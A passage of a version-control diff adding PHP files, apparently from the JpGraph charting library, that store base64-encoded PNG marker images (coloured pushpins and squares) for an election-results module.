+	    'wikHp9ShY0RESqObwPrr5oBERKhUKly4cIFqtUq9XufmzZtsbW'.
+	    '2hXvuDwTTNtxZq8TyvsLy8vLS4uLgahOHphw8elL69fNlc++qr'.
+	    'uFOrNXPddm1cczVL5f5P+Lv5MuOJgTGxwYbZpZsCdeAq8M1Bcw'.
+	    'CGYeC6LtVqlRMnTjAyMkKn0yGXyx0N0LZt03Ec1zCMSrfXO37v'.
+	    'zp3S769csb+/ciXt1mrNdHf3ltZ6Lca8ZpJsduhtCdb2gEFJoQ'.
+	    'xADYHuHDS3f32lFEEQUK/XGRkZoVAocP78eZaXl9FaI/Jq25Uk'.
+	    'yWHAYrHozM/PlxYWFibTND32sFbLXrtyxVz76qukXas1M61WTW'.
+	    'm99gx+20TdN9jqtfjP7QzOwwYNp037Zd0DukDnIByA1pqdnR2+'.
+	    '++472u02Z8+eZWJiAsMwDsEBRNGBzYJpmsaJEyfyX3zxxdLS0t'.
+	    'KlVqu1dP3q1cLta9ekU6u1dat1J9b6Sk9kraV1rYXegW7apDYw'.
+	    'kFY6fPc4MNTw88bwfZ/NzU2UUnieRxAEiAiGcXiXfcigiIjruo'.
+	    'VyubxkWdbK7fX1xWvffFMInjzBM82uMT5+p++6V1UUrSe7u03t'.
+	    '+8lezlKt3gHyl0aSJDQaDa5fv876+vo+w6FzDq1BpZRsb2/bly'.
+	    '9f9vL5/Njdu3fzG0+eMJHNxsfn532vXN5NPG/7abPZal6/Hvfe'.
+	    'kroPHfsm98f7AHW9Xo+//vrrlmVZm71+37QNw3JnZ9PK4uJGpV'.
+	    'pt4Dh+vLGhsrmcfv1iHzu01m89HjIdCon2fb8TBMHtvYeRUn50'.
+	    '1Oj4vqp3Ok1f5LYSadfr9dQfDN642P/XeF2DA+SBAuA4jkOhUK'.
+	    'BQKESO43S11p3BYBDt7u4y+CtB/i/q7jp1GMiw2AAAAABJRU5E'.
+	    'rkJggg==' ; 
+
+//==========================================================
+// File: ppl_blue.png
+//==========================================================
+	$this->imgdata_large[3][0]= 2284 ;
+	$this->imgdata_large[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMLFRAiTZAL3gAACHlJREFUeJy9mGtv29YZgJ9zKF'.
+	    'F3y/Q9jh05tuQkarKgbYasde0UBdZgwNou/Vqga/sD9mP2B4a1'.
+	    'BbZ9atFPxb5sqOtmXbI19bqsluPYiR3HN90vFEWRZx/IJI5zqa'.
+	    'x0OwBBSgR5Hj7v+55zSEFXTUgIJyA9C6/9RsjMjAyFIxxJCDc7'.
+	    'iBqKgyZACGg3G2x9+xXf/fG33P3mC9qNKsp1O+1JdkEnQTdgIO'.
+	    'ttCSMUi8gj072MnugllAyB9G8rBGi6RsToJTF6iuRoFi1kHKZf'.
+	    '7fB8Iggj0/Dy23D2dakNTR3JDsXPvzstxmZGRMER1EwHhQAEgE'.
+	    'CLhIkPD6InY9S3djGLJVBtQP1Qb4HDAyoJYQOOZkPx49nhTH9i'.
+	    '7MUBGT7egxkJgd70wZS/CUkoZtA/fRoE1DZ2ACiv52ibReCp4e'.
+	    '7CIEHomxDiuVdGTqUnf/ZeOjR8fpiVXZul5ZrY3bWwbdcLr/dA'.
+	    'AAIpAwQjUWIjQ+g9HZvswiCgBVF9/SI6OSLGzo0i+oLi6+Utbq'.
+	    '+bKEftgwOE/0Ohocf66M+cBjo22U2RQLIHMhmYnvaOpR9S8bSU'.
+	    'UqCURGpRkuMZMm9cIvPGJZLj0yBjT2LprkiSkykx9cuXIhOnUs'.
+	    'm+QNC2XdG02ggBTcvFabsPWwTPpBAChSCgh4kYBpoeplWp47Qs'.
+	    '7EYDt21xINzd5GCAxLExRl89Z+nHjpbKMmjbmkgfDzI0JEW53K'.
+	    'Jaa6NcAOEX8v52uJzsBlAS6u0hcnTIccPRqhWPCUcLD+s1EaUp'.
+	    'HCEhEMCyHNpt9SjgIU12A6iw6xb123vYhaaKjB9tlgMD5X+uBp'.
+	    'zdkpg6azA8EaNQtKlVba+Xez4eCntnJrsDdFsW5nYFpxlFN846'.
+	    'DXe8utkM4mhi+EgQmjYbS2WqexZKk6BpjwJ2YlK5VjeA3pNDiH'.
+	    'YjRWPzPE7tmBo8EWwGhkXx+z3uXL7D3rU97LIF8RBEAl6lK/Uo'.
+	    '6JNM1rZ2aTcr3eUgIQOGTgbdwXMGyRejenLYTvQGbAdRuetSud'.
+	    'OivVuFZgtCEgICghICnZoMhmlVTPR49LCAEkQUhk/B7KXe0MWf'.
+	    'nxj8xVR/cDheK14WZmtVMJSBnlGoN6FmQq0FLfdwJgORKPHRo/'.
+	    'Snzx4G0F/FjJ4KiOdmjPCrrx8bffnMybMv9MQGNG3rzlVqtR1B'.
+	    'sh/CYXCD4Aag1oCW7ZnUOjSp6WFi/QNEB8Y7BfTNjZyCmUvJ0I'.
+	    'XXT47MTp98Ybon9VZCk8cVazfqlNargsY34G7ByAlIjkHd9CCr'.
+	    'LbBdiHViUgiECuDKYCdz8b2cywREdiYZOj8zNnLuzOTzx6ODp+'.
+	    'OaGaqwVzBFqz0Idhz2loE7YEwBLaAJLQcKbW8qjAcBF5Jh0AMP'.
+	    'IOHe6kxgtb3UMO2OxkF//ffK28nQqxfvm3szrtnDVa799Qb/+v'.
+	    'NtsbNSpm3tAv8B+w7Ub0FhAyoBcMPec9oK6raXk48ziQBXQcmC'.
+	    'pT3YqHa0mpEBkTR6wz/Jjo2cy04+fzwxdDquNfQKO7sFUbpu0c'.
+	    'wp3JoAYsA42Bbkl4GCryUNDEM7Avm6Z/CgSYBWG8pNuFuDu1Wo'.
+	    'tjoxKIJGeHIiM/jmK9NnX5ycuJQMtUcqXPvLDTa+qIie4hAJ1U'.
+	    'vdrmO2HaDfB931twJgAn1A4lGT96obPHPLBbhVgUoTHHWo9aAA'.
+	    'JVAKpyKEmQNzWRENAsL18ycKjAFN/9gCNvzLB/390MMmE7pnDi'.
+	    'Bvwt0K5Jv3O+0oB22nJ1Vvjb/UMhOpcKknqN1OiMB2DNHU2G5s'.
+	    'sVndpGJVcZXjX1IAlvw9PmhRQcOFPhsSDkiBrQR1G7brgs0a7D'.
+	    'ag3FK4rguqBXarI4Nt1SJv5gls7TEWtJDRBO2GwnIs8maevFnA'.
+	    'Gx6awLZvzeTBu4kFbLigijC47pscpx0xyDfkvtUEnlarCDtrUC'.
+	    't2HGIhvPHVdVwqjTIrxRU2a5uUrYoP0QZ2gMvACl7+3V/LuKDq'.
+	    'sJuDy597516+CEezIHXv7vcgXQu2l+Bvn8He9Y4AE4kgk5P9DE'.
+	    'R6aFdq5Et5Nit3yTf3m9sBcsAN3+D98c0Fit5JawE25r1zg1Fo'.
+	    '5B8GFD7g+nVYnu8EUEop9XTa0N/9dUbqcphP/rDJzbUClVbpgR'.
+	    'y2fXM3fND95qj75J8AC6BWPINfVSBieK+x+6cS5UCzCLu3oFV9'.
+	    'GqCMx2NGOp2Znpv7aXZudsool3T5J/179sxVlHJ4kGPrP2COBX'.
+	    '/7DmiApWCjxIMXpYNznYuXM+6TAKWUMppOZzLvv//ery5cuDCT'.
+	    'SqVS336bCwr1JfAPB9r+2KAFwJS+OcETzZHz/7v3etl6ipz77X'.
+	    'GAMh6PG+l0OjM3NzczOzs3k0pNnFlbW43+e/GKtMqrblSsF03V'.
+	    'WHcJA0PjIAzvg9JTze2H67g9DjAwOTmZ+uCDD96anZ2dnZiYmF'.
+	    '5dW41++Lvfa1fnr7qllVK9103mXNTnJgPA+YugsvB3HTaEl+Qs'.
+	    'AZ/yeHPPDCiTyaRx5syZbGoilV1dW00szC9oV+avusuLy0Xd0X'.
+	    'MgFkDM+zkYBZEHV8f7wwKu84zmngQoNU0LaZoWUa4K31y5qX/8'.
+	    '4cfyyvwVN5/L10NOKNeg8UmDxoKF5Vfj1xXAgD0JrgAcvBDfel'.
+	    'a4g4AykUgY6XR6emJiIru2ttZXq9S0K19eUcuLy8WQE8o5OAsN'.
+	    'Ggsmpl+NpoL1g9X4UBU+C9xDgEKIwNTUVOqdd955M9mbnJ3/cj'.
+	    '6Vu5aTheXCQXNdVeMzAwJSCGEA2XKpnF1cXIzlFnOVhJPIKdR+'.
+	    'c88ctq4AlVKsrKzw0UcfKcC5uXqzXnNqSzb2pwLxOHP/l7Z/BN'.
+	    'eB01LKt4HTrusKvGr8jB+hGn8MQAkYQMrfw4Nq/MFPtf+rdvDb'.
+	    'k8QL+/5Z4Uepxm7bfwHuTAVUWpWaqAAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: ppl_green.png
+//==========================================================
+	$this->imgdata_large[4][0]= 2854 ;
+	$this->imgdata_large[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMLFQ4hANhluwAACrNJREFUeJytmF1zE1eagJ+3u9'.
+	    'XdkvUty2AbmLEtEzDBgZ0UpDBOalNTUzU3czl7tct/2n+wt3M/'.
+	    'NVM12SSTQQSyW2TA+QAJQogtYYFtyfrqL3WfvWj5g8AEjzfvhS'.
+	    'SXjk8//Zz3Pf3qCMcJAWxMKlT4kH+jwu/FknnJSUItKFHzCrKA'.
+	    'BggBQx5ziz/wn/yBz3hED4/oaJfSjgVoYjJJgTLTZCjohp7IGT'.
+	    'k5aZ4kb+bRTR30Q7djj8f/kpPMUSCFedRL6W8e8qMQNE6S4xpv'.
+	    'c5HrTPFubiJ3ZnlyOXV59rJYU5Z00h1c3d0brxAiUkScRijisk'.
+	    '6XLTyiN3s8HuAJpniXa/q8/pt8Or+0kF8oXJm5YiydWcIpOrJu'.
+	    'rjOQwd54AQwsMpTJYhPSoYuLQ58An/DnBQSdImXO8avsTPbqpc'.
+	    'lLp67OXDVzMznZLGxSs2qyIRu4at8gKHQEC50kE1icxqCAdxST'.
+	    'xjEA44tqaJlERl8uLWvvnX5PHuQfcCdxh5qq0aX76vj4WgWyXO'.
+	    'QiNgBP8IAaddr08X8+wHFmJSQhBbPAZGoSZSt5wQs6qoNC7UEd'.
+	    '4AEoLIQSCaCCy78Dv8Tiv1hjjW1CRj8XIAgEKqDtt9keboMJZa'.
+	    'vMjuzQVd3Xr9prTJo+GF/jKZea95R25Lxs8jg5qFGiwDnOS0mW'.
+	    'NE0rjNRIt3WbklUCA9mV3Zdz8OBT/JfCQLB0SKYVVjGFYSfx/E'.
+	    '26ow4e6uDujlPFQpE0FU6P8qNTHdXJdEdda0qf0itWBVM3pa/3'.
+	    'ccUlIECJet0cAJoeYk5EZCeS5IwEoerSxccJBwRqFFf38QCTaO'.
+	    'TRVFKJm3NTbtLNSyh2IkhIXsvLCesEGNCWdmwyruSD/z9kUlRc'.
+	    '3bqNlSxhJNJ43p5JITrOEis8Qtr0cXEpU/JT/pmO18n2vb42pU'.
+	    '3JnDnHMBqyPlpnoAaxhr2llv1ZUBqEGlqYwDQMsskMOcMgVL3Y'.
+	    'ZOQTHAcQQiIGjHCwCaiovjrv4hbcpKuJJjIcDHm685RGr4GLCx'.
+	    'YHkAcrLoAoDSLBiAQrMkjqybHJCbxgh+7xAC1MpsgzwRwD3qHL'.
+	    'WyTIBdlAa6u2rHfXaew06PV78ZZjAwleNnkolECoH5i090wOcY'.
+	    '+TgwYzFHiPi1zkOkXexeAMASnVU+LiyiA1wFUuaqggACLizeWw'.
+	    'ycMzyssmVYKkbpGyC5T+OUALk2mKLHKWf+ED/az+YW42d66YL+'.
+	    'aNrmEEzQCFEnKw368EgEvcN1m80eTIQIt0TFOjMJHkzNEBBYPp'.
+	    'sblf8QHzrORO5JaWZ5ZLl6cuJyyxpNPv4PZdoT+GyIxBfI5uUg'.
+	    'eJMCwP2/bIHO1JEudcgUUWOceKNq99mCvnzs5PzRcuTV4y5mRO'.
+	    'SMIjo47z5S7a94oQCNKgJsZwO7D/IDNg3/LLhRNXt4JohBb4aG'.
+	    '82GLdXcf93mQ+Y43r2RHZp+cRy6cqJK4l8MS+tdItaqiYtc0Mm'.
+	    'QpfJARh98HYh9IiXVcaAo58wGb+LBAjbSPgCOcoSa0wzxXtc08'.
+	    '/pv8mfyL+9MLVQvDJ1JVHJV6SZbFI1qtTsB+KlehRtRTGE8Afo'.
+	    'P4DRcAxiEudhAHjjzz+ubgX4oHowakHQOlqzICQwyVPITGVOXi'.
+	    'xfLF6aumzmczl5lHzMff2+fCdPaGttEkXoLQAO9B7C6EugPYby'.
+	    'gVPjGXc5eIbNAJPjGwiAbaAJUQv8wVG7GROkJFpyOqn/ovgLba'.
+	    '44L0+sDaraXb6jzq7aBQWjBOyUoHcaopOgmaA3IRyNDZnA1HjO'.
+	    'HSBkr7eEFDAEngHrQCf+/s2A8cSiSkqcKUeeTjwFy2Jd78t3+L'.
+	    'TR4itIiBLwLQhzkJyB5Cx4HXDaENVQCBAQcRqFIHTRaBIvuYXg'.
+	    'AdsouuNxEL0ZUBHnSQp66R73zYfUtQ6OytKT8RckQAJQoLtgO5'.
+	    'BJgj0D/WfgdyHaAHx8THoUcbGx8ciwhUl3bDEiToURPooeI7pH'.
+	    'MziK9Yd9nU5a6GgKjOH41vsgI4hAcyC5AZkapF+AoYNrjjsuhx'.
+	    'FbtPmeB5ykyQQzTPAWAQWC8S9oAI0QRRuPb9jkmyMZNAOTklvC'.
+	    'GGYZaFkGmkVAh8h4DtKFMIBunG+pB5B5AIkGBDsQ+qBiL20caj'.
+	    'zhJknq5KlgMkLjJHJos4kYEbFJi5vc5eYbATVN02bNWe19+32t'.
+	    'aJWlFm3wbf8Rz5NbDFJdlOFBF/g7cBf0JkrbBb+F6j1DOduEkU'.
+	    '8bWCOiSofPWadBnSZDWmgUkEMGhZCINut8S/0NBtPptFlZrBSu'.
+	    'vnt1+ndnflfIp9OJ/279Ubbbd+lP7KBKPoEBsgnqLph/BRzwdS'.
+	    'LnBUFvHcfdpRsGPAGqwMco6jynz+e0SPKYCHMfLX5VKHwcenR+'.
+	    'Igd1XTcqlUr+xn/cePv91fevzy8sLO2OtrOpWkqL7gXKSAVRdh'.
+	    'ZFEmEXoYkwBNqovoc/3GHH3aUR+jwC1oD/AWrANi4hGwyBzqEG'.
+	    'Vvb77Dgi0eT1VZzJZMxKpVJYXV1dXF1dXVm6sPSvruue3Xzcyj'.
+	    '6/syvDzwj0lNazK6Fj5LFCRZouZpBABj6jXouu3+Np6HNvDHaf'.
+	    'g91t74msbMuOJicnSSaTKKUQEUQEpRSO69But1/dB0VEm5uby9'.
+	    'y4cWNpdXX1+sLCworrume//PuXpeqnVeOban0U1PW2kcx+O9L7'.
+	    'Te9sUB4lWFR9SqNtNGcHx+/RDD2+Am4D94CnQA8OjjlEhMnyJC'.
+	    'srK8zOzu7BiYioMAzZ2Njg9u3brwIqpSSXy2WXl5eXLly4sOo4'.
+	    'zoV6vV6oflrVP/7Tx8Hmw1Zb6ydqmpWp7ha8h4O3gjOhzVANmF'.
+	    'XPMNQWvdDnCXCXuHR+APqH4fbCtm2mp6eZn59H13WJuYXRaKSU'.
+	    'UiSTyVcBdV3XDcOwRaTU7/en19bWCn/79G+JL/76RbhZ22y7u+'.
+	    '6ahl71nPDz/nO17m7wAxlabFOihy4+DvAcqAMbPzZ3OFzX5dmz'.
+	    'Z2iahoiosUUVhiGNRgPHcV4GzGQy5uLiYuH8+fMzo9FoslarJW'.
+	    '9+elP75E+fBJu1zY7qqpqBUW3T/niohnVvy+1zm5aVtp+WE2XT'.
+	    'nrHFzbjh1tYLz3XdPjD4R3BKKba2tqhWq4dzUO3noBPn4H5PKy'.
+	    'LaO++8U7hx48byhQsXVne7u6tf3/v64t3P7mbq9+odt+OuaWi3'.
+	    'PLxbW2ytubjbQCgiMnt6VlaurWgz0zM0m02q1WrUaDSUUuqI56'.
+	    'ivDxE5MCgiYllWtlwuL5mmufLV/a/O/uXPf9Ff1F+80Lv6Yx29'.
+	    '2qHzyZBh3cdvc7gaTZuZkzPh/Py8ACqVSv1/uPZDKXUAGEWRtF'.
+	    'qtxEcffZTL5XLF+2v39fqjeivshA/TpP83JLwzYFBzcA4370Cc'.
+	    'S81nTRBUs9lkOByi1GuOPI4Rh3+26JZlnSkWi781DOPXvV4v3+'.
+	    '/2G0R8kSBxB/jew+tERK+c49m2TblcxrZtXNfl+fPneJ6HZVmU'.
+	    'y2VJJpNyaJ9TSinlOA5bW1u4rntkQA0oAG8D54gb9W3ianxM3A'.
+	    'e/cn73U3Hq1Cm5du2aPjs7a+ztcSIShmE4ajQa6tatWzQajZ+0'.
+	    'fbiKI+It4SvijVUj7kL2qvGfgkskEqTTaZmcnDROnTplJhIJTU'.
+	    'QiwPd9P/Q8T6XTaQzDIAiCfzjP/wFVfszuFqdHXgAAAABJRU5E'.
+	    'rkJggg==' ; 
+
+
+//==========================================================
+// File: pp_red.png
+//==========================================================
+	$this->imgdata_small[0][0]= 384 ;
+	$this->imgdata_small[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsSAAALEgHS3X78AAAA'.
+	    'B3RJTUUH0wMJFhouFobZrQAAAQ1JREFUeJyV1dFtwyAQBuD/og'.
+	    'xQdYxa8gRY6hJ0jK6QdohMkTEuE5wUj5ERen05IoLvID7Jkn2G'.
+	    'j8MgTMyMXqRlUQBYq9ydmaL2h1cwqD7l30t+L1iwlbYFRegY7I'.
+	    'SHjkEifGg4ww3aBa/l4+9AhxWWr/dLhEunXUGHq6yGniw3QkOw'.
+	    '3jJ7UBd82n/VVAlAtvsfp98lAj2sAJOhU4AeQ7DC1ubVBODWDJ'.
+	    'TtCsEWa6u5M1NeFs1NzgdtuhHGtj+9Q2IDppQUAL6Cyrlz0gDN'.
+	    'ohSMiJCt861672EiAhEhESG3woJ9V9OKTkwRKbdqz4cHmFLSFg'.
+	    's69+LvAZKdeZ/n89uLnd2g0S+gjd5g8zzjH5Y/eLLi+NPEAAAA'.
+	    'AElFTkSuQmCC' ; 
+
+//==========================================================
+// File: pp_orange.png
+//==========================================================
+	$this->imgdata_small[1][0]= 403 ;
+	$this->imgdata_small[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsSAAALEgHS3X78AAAA'.
+	    'B3RJTUUH0wMJFhwAnApz5AAAASBJREFUeJyN1dFthDAMBuDf7S'.
+	    '3BCm2VCRKpS4QxbhikW6IewzcBqm6Fm6JyH7iEEByCn5AJH38g'.
+	    'BBIRHNUzBAWAGNfe/SrUGv92CtNt309BrfFdMGPjvt9CD8Fyml'.
+	    'ZZaDchRgA/59FDMD18pvNoNyHxMnUmgLmPHoJ+CqqfMaNAH22C'.
+	    'fgqKRwR+GRpxGjXBEiuXDBWQhTK3plxijyWWvtKVS5KNG1xM8I'.
+	    'OBr7geV1WupDqpmTAPKjCqLhxk/z0PImQmjKrAuI6vMXlhFroD'.
+	    'vfdqITXWqg2YMSJEAFcReoag6UXU2DzPG8w5t09YYsAyLWvHrL'.
+	    'HUy6D3XmvMAAhAay8kAJpBosX4vt0G4+4Jam6s6Rz1fgFG0ncA'.
+	    'f3XfOQcA+Acv5IUSdQw9hgAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: pp_pink.png
+//==========================================================
+	$this->imgdata_small[2][0]= 419 ;
+	$this->imgdata_small[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsSAAALEgHS3X78AAAA'.
+	    'B3RJTUUH0wMJFhsQzvz1RwAAATBJREFUeJyd1MFthDAQheF/oi'.
+	    'gF+JYWQKICkCJRA1vGtrDbxFbhGvY0HVjCLeS2BeTiHFgTB2wg'.
+	    'eRISstCnmcG2qCpbuXf3ADBQzWsPfZfS9y9HsEu4/Fo33Wf4Fx'.
+	    'gxL3a1XkI3wbTNXHLoboVeLFUYDqObYBy+Fw/Uh9DdCmtOwIjF'.
+	    'YvG76CZoOhNGRmpO8zz30CJoOhMAqlDxFzQLppgXj2XaNlP7FF'.
+	    'GLL7ccMYCBgZERgCvXLBrfi2DEclmiKZwFY4tp6sW26bVfnede'.
+	    'e5Hc5dC2bUgrXGKqWrwcXnNYDjmCrcCIiQgDcFYV05kQ8SXmnB'.
+	    'NgPiVN06wrTDGAhz5EWY/FOccTk+cTnHM/YNu2YYllgFxCWuUM'.
+	    'ikzGx+2Gc+4N+CoJW8n+5a2UKm2aBoBvGA6L7wfl8aoAAAAASU'.
+	    'VORK5CYII=' ; 
+
+
+//==========================================================
+// File: pp_blue.png
+//==========================================================
+	$this->imgdata_small[3][0]= 883 ;
+	$this->imgdata_small[3][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAMAAAC6V+0/AAACi1'.
+	    'BMVEX///8AAAAAADMAAGYAAJkAAMwAAP8zAAAzADMzAGYzAJkz'.
+	    'AMwzAP9mAABmADNmAGZmAJlmAMxmAP+ZAACZADOZAGaZAJmZAM'.
+	    'yZAP/MAADMADPMAGbMAJnMAMzMAP//AAD/ADP/AGb/AJn/AMz/'.
+	    'AP8AMwAAMzMAM2YAM5kAM8wAM/8zMwAzMzMzM2YzM5kzM8wzM/'.
+	    '9mMwBmMzNmM2ZmM5lmM8xmM/+ZMwCZMzOZM2aZM5mZM8yZM//M'.
+	    'MwDMMzPMM2bMM5nMM8zMM///MwD/MzP/M2b/M5n/M8z/M/8AZg'.
+	    'AAZjMAZmYAZpkAZswAZv8zZgAzZjMzZmYzZpkzZswzZv9mZgBm'.
+	    'ZjNmZmZmZplmZsxmZv+ZZgCZZjOZZmaZZpmZZsyZZv/MZgDMZj'.
+	    'PMZmbMZpnMZszMZv//ZgD/ZjP/Zmb/Zpn/Zsz/Zv8AmQAAmTMA'.
+	    'mWYAmZkAmcwAmf8zmQAzmTMzmWYzmZkzmcwzmf9mmQBmmTNmmW'.
+	    'ZmmZlmmcxmmf+ZmQCZmTOZmWaZmZmZmcyZmf/MmQDMmTPMmWbM'.
+	    'mZnMmczMmf//mQD/mTP/mWb/mZn/mcz/mf8AzAAAzDMAzGYAzJ'.
+	    'kAzMwAzP8zzAAzzDMzzGYzzJkzzMwzzP9mzABmzDNmzGZmzJlm'.
+	    'zMxmzP+ZzACZzDOZzGaZzJmZzMyZzP/MzADMzDPMzGbMzJnMzM'.
+	    'zMzP//zAD/zDP/zGb/zJn/zMz/zP8A/wAA/zMA/2YA/5kA/8wA'.
+	    '//8z/wAz/zMz/2Yz/5kz/8wz//9m/wBm/zNm/2Zm/5lm/8xm//'.
+	    '+Z/wCZ/zOZ/2aZ/5mZ/8yZ///M/wDM/zPM/2bM/5nM/8zM////'.
+	    '/wD//zP//2b//5n//8z///9jJVUgAAAAAXRSTlMAQObYZgAAAA'.
+	    'FiS0dEAIgFHUgAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAHdElN'.
+	    'RQfTAwkWGTNerea3AAAAYUlEQVR4nHXNwQ3AIAxDUUfyoROxRZ'.
+	    'icARin0EBTIP3Hp1gBRqSqYo0seqjZpnngojlWBir5+b8o06lM'.
+	    'ha5uFKEpDZulV8l52axhVzqaCdxQp32qVSSwC1wN3fYiw7b76w'.
+	    'bN4SMue4/KbwAAAABJRU5ErkJggg==' ; 
+
+//==========================================================
+// File: pp_green.png
+//==========================================================
+	$this->imgdata_small[4][0]= 447 ;
+	$this->imgdata_small[4][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsSAAALEgHS3X78AAAA'.
+	    'B3RJTUUH0wMJFhkLdq9eKQAAAUxJREFUeJyN1LFVwzAQxvH/8f'.
+	    'IeDS0FLKABlN6eIwPYAzCHB0gWYI2jj+i1ABUTQN4TRSQ7iiWZ'.
+	    'qxLn9Mt9ydmiqrSq930AYFiu6YdKrf/hP1gYQn6960PxwBaYMG'.
+	    'E9UA3dBFtVQjdBOQmBakLennK0CapRwbZRZ3N0O/IeEsqp3HKL'.
+	    'Smtt5pUZgTPg4gdDud+6xoS97wM2rsxxmRSoTgoVcMZsXJkBho'.
+	    'SmKqCuOuEtls6nmGMFPTUmxBKx/MeyNfQGLoOOiC2ddsxb1Kzv'.
+	    'ZzUqu5IXbGDvBJf+hDisi77qFSuhq7Xpuu66TyJLRGbsXVUPxV'.
+	    'SxsgkzDMt0mKT3/RcjL8C5hHnvJToXY0xYRZ4xnVKsV/S+a8YA'.
+	    'AvCb3s9g13UhYj+TTo93B3fApRV1FVlEAD6H42DjN9/WvzDYuJ'.
+	    'dL5b1/ji+/IX8EGWP4AwRii8PdFHTqAAAAAElFTkSuQmCC' ; 
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_squares.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_squares.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/imgdata_squares.inc.php	(revision 44)
@@ -0,0 +1,150 @@
+<?php
+//=======================================================================
+// File:	IMGDATA_SQUARES.INC
+// Description:	Base64 encoded images for squares
+// Created: 	2003-03-20
+// Ver:		$Id: imgdata_squares.inc.php 860 2007-03-23 19:16:19Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+class ImgData_Squares extends ImgData {
+    protected $name = 'Squares';
+    protected $an = array(MARK_IMG_SQUARE =>'imgdata');
+    
+    protected $colors = array('bluegreen','blue','green', 
+			'lightblue','orange','purple','red','yellow');
+    protected $index  = array('bluegreen' =>2,'blue'=>5,'green'=>6, 
+			'lightblue'=>0,'orange'=>7,'purple'=>4,'red'=>3,'yellow'=>1);
+    protected $maxidx = 7 ;
+    protected $imgdata ;
+
+    function ImgData_Squares () {
+//==========================================================
+//sq_lblue.png
+//==========================================================
+	$this->imgdata[0][0]= 362 ;
+	$this->imgdata[0][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAIAAADZrBkAAAAABm'.
+	    'JLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsRAAALEQF/ZF+RAAAA'.
+	    'B3RJTUUH0wMLFgojiPx/ygAAAPdJREFUeNpj/P377+kzHx89/c'.
+	    'VAHNBQ5VBX52HavPWWjg6nnDQbkXoUFTnnL7zD9PPXrz17HxCj'.
+	    'E6Jn6fL7H7/+ZWJgYCBGJ7IeBgYGJogofp1oehDa8OjE1IOiDa'.
+	    'tOrHoYGBhY0NwD0enirMDAwMDFxYRVD7ptyDrNTAU0NXix6sGu'.
+	    'jYGBgZOT9e/f/0xMjFyczFgVsGAKCfBza2kKzpl3hIuT1c9Xb/'.
+	    'PW58/foKchJqx6tmy98vbjj8cvPm/afMnXW1JShA2fNmQ9EBFc'.
+	    'Opnw6MGjkwm/Hlw6mQjqwaqTiRg9mDoZv//4M2/+UYJ64EBWgj'.
+	    'cm2hwA8l24oNDl+DMAAAAASUVORK5CYII=' ; 
+
+//==========================================================
+//sq_yellow.png
+//==========================================================
+	$this->imgdata[1][0]= 338 ;
+	$this->imgdata[1][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAMAAABhEH5lAAAAWl'.
+	    'BMVEX////+/+H+/9/9/9v8/8P8/8H8/7v8/7n6/4P5/335/3n5'.
+	    '/3X4/1f4/1P3/031/w30/wn0/wPt+ADp9ADm8ADk7gDc5gDa5A'.
+	    'DL1ADFzgCwuACqsgClrABzeAC9M0MzAAAAAWJLR0QAiAUdSAAA'.
+	    'AAlwSFlzAAALEgAACxIB0t1+/AAAAAd0SU1FB9MDCxYEDlOgDj'.
+	    'EAAAB+SURBVHjaVcpbCsQgDEDRGERGKopjDa2a/W9zfLWj9/Nw'.
+	    'Ac21ZRBOtZlRN9ApzSYFaDUj79KIorRDbJNO9bN/GUSh2ZRJFJ'.
+	    'S18iorURBiyksO8buT0zkfYaUqzI91ckfhWhoGXTLzsDjI68Sz'.
+	    'pGMjrzPzauA/iXk1AtykmvgBC8UcWUdc9HkAAAAASUVORK5CYI'.
+	    'I=' ; 
+
+//==========================================================
+//sq_blgr.png
+//==========================================================
+	$this->imgdata[2][0]= 347 ;
+	$this->imgdata[2][1]= 
+	    'iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAMAAABhEH5lAAAAZl'.
+	    'BMVEX////0+vv0+vrz+fry+frv+Png7e/d7e/a6+zY6+250tSz'.
+	    '0tSyztCtztGM0NWIz9SDzdNfsLVcrrRZrbJOp61MpqtIr7dHn6'.
+	    'RErrZArLQ6q7M2g4kygYcsp68npa4ctr8QZ20JnqepKsl4AAAA'.
+	    'AWJLR0QAiAUdSAAAAAlwSFlzAAALEgAACxIB0t1+/AAAAAd0SU'.
+	    '1FB9MDCxYEByp8tpUAAAB7SURBVHjaVcjRFoIgDADQWZpWJpjY'.
+	    'MsnG//9kzIFn3McLzfArDA3MndFjrhvgfDHFBEB9pt0CVzwrY3'.
+	    'n2yicjhY4vTSp0nbXtN+hCV53SHDWe61dZY+/9463r2XuifHAM'.
+	    '0SoH+6xEcovUlCfefeFSIwfTTQ3fB+pi4lV/bTIgvmaA7a0AAA'.
+	    'AASUVORK5CYII=' ; 
+
+//==========================================================
+//sq_red.png
+//==========================================================
